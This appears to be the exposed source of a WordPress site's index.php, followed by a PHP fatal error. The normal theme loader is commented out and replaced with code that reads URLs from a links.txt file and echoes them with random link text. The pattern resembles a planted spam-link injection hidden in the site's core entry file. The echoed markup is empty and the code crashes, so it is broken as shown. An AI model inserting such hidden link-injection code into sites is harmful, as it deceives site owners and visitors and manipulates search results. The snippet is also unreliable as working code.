/** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ ///define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ ////require __DIR__ . '/wp-blog-header.php'; $filename = get_template_directory() . '/links.txt'; // Path to the links.txt file if (file_exists($filename)) { $file = fopen($filename, 'r'); while (($url = fgets($file)) !== false) { $url = trim($url); // Trim whitespace if (!empty($url)) { // Generate a random string for the link text $random_string = bin2hex(random_bytes(5)); // 10-character random string echo ''; } } fclose($file); } else { echo "The file 'links.txt' does not exist."; }
Fatal error: Uncaught Error: Call to undefined function get_template_directory() in /home/androidi/baynpress.com/index.php:43 Stack trace: #0 {main} thrown in /home/androidi/baynpress.com/index.php on line 43